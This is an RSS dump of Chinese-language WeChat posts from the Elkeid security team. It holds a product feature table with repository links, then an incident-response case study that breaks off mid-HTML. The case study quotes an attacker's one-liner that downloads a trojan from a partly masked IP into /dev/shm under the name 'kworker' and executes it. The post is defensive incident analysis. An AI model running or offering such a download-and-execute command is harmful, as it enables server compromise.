UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">Debug支持</td><td height="36" width="267" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td><td height="36" width="339" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="235" data-sheet-value="&#34;离线数据处理&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">离线数据处理</td><td height="36" width="267" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="339" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="235" data-sheet-value="&#34;持久化能力&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">持久化能力</td><td height="36" width="267" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="339" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="235" data-sheet-value="&#34;Workspace&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">Workspace</td><td height="36" width="267" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="339" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="235" data-sheet-value="&#34;集群模式&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">集群模式</td><td height="36" width="267" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="339" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-all;">✅</td></tr></tbody></table><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><br/></section><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding: 0px 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(0, 0, 0);line-height: 42px;" data-mid="" mpa-is-content="t">开源地址及协议</p></section></section></section></section></section><p>开源地址：</p><ul start="1" class="list-paddingleft-1"><li style="white-space: pre-wrap;color: rgb(61, 170, 214);"><p><span style="color: rgb(61, 170, 214);"><a href="https://github.com/bytedance/Elkeid" target="_blank">https://github.com/bytedance/Elkeid</a></span></p></li></ul><ul start="1" class="list-paddingleft-1"><li style="white-space: pre-wrap;color: rgb(61, 170, 214);"><p><span style="color: rgb(61, 170, 214);"><a href="https://github.com/bytedance/Elkeid-HUB" target="_blank">https://github.com/bytedance/Elkeid-HUB</a></span></p></li></ul><p><br/></p><p>开源协议：</p><ul start="1" class="list-paddingleft-1"><li style="white-space:pre-wrap;"><p>内核态驱动采用GPLv2协议</p></li><li style="white-space:pre-wrap;"><p>用户态程序采用Apache-2.0协议</p></li><li style="white-space:pre-wrap;"><p>Elkeid HUB: Elkeid License（商业不友好）</p></li></ul><ul start="1" class="list-paddingleft-1"></ul><h2 style="white-space:pre-wrap;"><br mpa-from-tpl="t"/></h2><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><br/></section><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding: 0px 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #000000;line-height: 42px;" data-mid="" mpa-is-content="t">后续计划</p></section></section></section></section></section><p>Elkeid 开源版本会长期维护和更新；</p><h2 style="white-space:pre-wrap;"><br mpa-from-tpl="t"/></h2><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><br/></section><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding: 0px 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #000000;line-height: 42px;" data-mid="" mpa-is-content="t">致谢及交流</p></section></section></section></section></section><p><br mpa-from-tpl="t"/></p><p>非常感谢项目开发/推动过程中相关团队的支持与帮助。</p><p>欢迎大家通过GitHub或飞书群【 Elkeid 交流群】进行交流讨论和建议反馈。</p><p>飞书群二维码：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.131195335276968" data-s="300,640" style="" data-type="png" data-w="1029" src="https://wechat2rss.xlab.app/img-proxy/?k=f0847f98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchq1YcGCHQI8wNuSfibnHaeZufx9fNLZMRysytoPOw5c5DibAh1mFqdQ5A%2F640%3Fwx_fmt%3Djpeg"/><span style="color: rgb(0, 0, 0);font-size: medium;text-align: start;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484357">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e682b16a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484357%26idx%3D1%26sn%3D3aafe3a5324bac75a1f7e6eb02f81bac%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 02 Dec 2022 17:11:00 +0800</pubDate>
    </item>
    <item>
      <title>火山引擎CWPP(Elkeid) 真实对抗案例分享</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484329&amp;idx=1&amp;sn=01657cfc40b9247103ccc11b3610b8f6</link>
      <description>Elkied 案例分享</description>
      <content:encoded><![CDATA[<p>
<span>Elkeid Team</span> <span>2022-07-14 16:53</span> <span style="display: inline-block;">上海</span>
</p>

<p>Elkied 案例分享</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=741f9420&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjEESHeKDyVxEicZlOwnUKtGETZsvroPmcCBZicRvj8Pb7p5OCDSwWF3SOkyoD81N2pMVDpDbYdq38afBMgqTLU3Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 20px;visibility: visible;" data-mpa-powered-by="yiban.io"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;">一、背景</strong></p></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;">Elkeid 是火山引擎旗下的 CWPP 产品，旨在满足现代企业在复杂技术架构下的安全需求。Elkeid 起源于字节跳动（ByteDance）内部最佳实践，原生集成了针对 服务器/容器/Serverless 等多种工作负载的反入侵能力，涵盖了 <span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(95, 156, 239);visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;">服务器与容器反入侵、容器集群反入侵、应用运行时保护 RASP（Runtime Application Self-Protection）、威胁溯源与猎捕、工作负载资产盘点、工作负载漏洞发现，暴露面分析等能力，并提供开放式策略引擎</strong></span>，帮助企业在一体式的解决方案下更好地保障云上、云下的工作负载安全。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;">随着 Elkeid 企业版已经陆续在各家部署，也有更多人在试用和测试 Elkeid 开源版本。这里 Elkeid Team 分享一起在近期发生的入侵应急事件，在该事件中由 Elkeid 提供的产品能力，极大的方便了防御方在整个入侵过程中的处置和应急。这篇分享旨在通过记录和复盘该过程，提供 Elkeid 进行防御的相关思路。</p></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 20px;visibility: visible;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;">二、Elkeid 应急案例</strong></p></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 18px;visibility: visible;">告警 &amp; 事件归并</span></strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;">某日下午，值班查看告警的小伙伴在处置告警的过程中发现了一起外部的 Java RCE 告警，根据事件关联的其它告警判断存在入侵行为，随后便拉起应急。</p></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"/></p><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;visibility: visible;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;visibility: visible;"><img class="rich_pages wxw-img" data-ratio="0.4777778" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;visibility: visible !important;width: 637px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f78a0ba7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAscYDMMmcPLQ2kQADdw3DMs0RAOy230icZysRpNKIriaz97o3aQ9QRrTQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;">可以清晰的看到入侵者尝试下载并执行某木马。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code style=" white-space:pre-wrap;margin: 0px;padding: 0px;outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;font-size: 14px;display: flex; font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;visibility: visible; "><span class="code-snippet_outer" style="margin: 0px;padding: 0px;outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">curl <span class="code-snippet__number" style="margin: 0px;padding: 0px;outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(14, 156, 229);visibility: visible;">8.</span>x.x<span class="code-snippet__number" style="margin: 0px;padding: 0px;outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(14, 156, 229);visibility: visible;">.161</span>/t -o /dev/shm/kworker; chmod x /dev/shm/kworker; <span class="code-snippet__regexp" style="margin: 0px;padding: 0px;outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(202, 125, 55);visibility: visible;">/dev/</span>shm/kworker</span></code></pre></section><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;">Elkeid 在企业版中原生支持了事件归并能力，Elkeid 会利用溯源引擎，分别对各自告警进行溯源，并提取告警中的关键信息，通过告警列表中的从属事件一栏可以直接进入告警所关联的事件，并查看跟此告警具备关联性的其他告警。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;visibility: visible;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;visibility: visible;"><img class="rich_pages wxw-img" data-ratio="0.3787037" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;visibility: visible !important;width: 637px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1001c294&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBANBVg4yM4vlHYm5iblYcrR3rjISc1RnefeFahObicURD6chfRdDd1CHfQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;visibility: visible;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;visibility: visible;"><img class="rich_pages wxw-img" data-ratio="0.4944444" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(238, 237, 235);vertical-align: middle;visibility: visible;overflow-wrap: break-word !important;background-color: rgb(238, 237, 235) !important;background-size: 22px !important;background-position: center center !important;background-repeat: no-repeat !important;height: 315.972px !important;width: 637px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ee3cf04e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBA2ZCiaJuSiaicvRdpHpqC9daqqoIrfpqeTYPED95m67mbhYEticYrs5vxhA%2F640%3Fwx_fmt%3Dpng"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"><blockquote data-type="2" data-url="" data-author-name="" data-content-utf8-length="87" data-source-title="" style="margin: 1em 0px;padding: 4px 0px 0px 10px;outline: 0px;border-left: 3px solid rgb(219, 219, 219);color: rgba(0, 0, 0, 0.5);font-size: 15px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">Elkeid 事件当中列出了成集群状的有关联性的所有告警，从右上角可以看到对应告警类型分布情况，在中间是所有合并的归因原因，其中可以看到关联的IP/文件/主机进程等相关信息。</section></section></blockquote><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;visibility: visible;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto 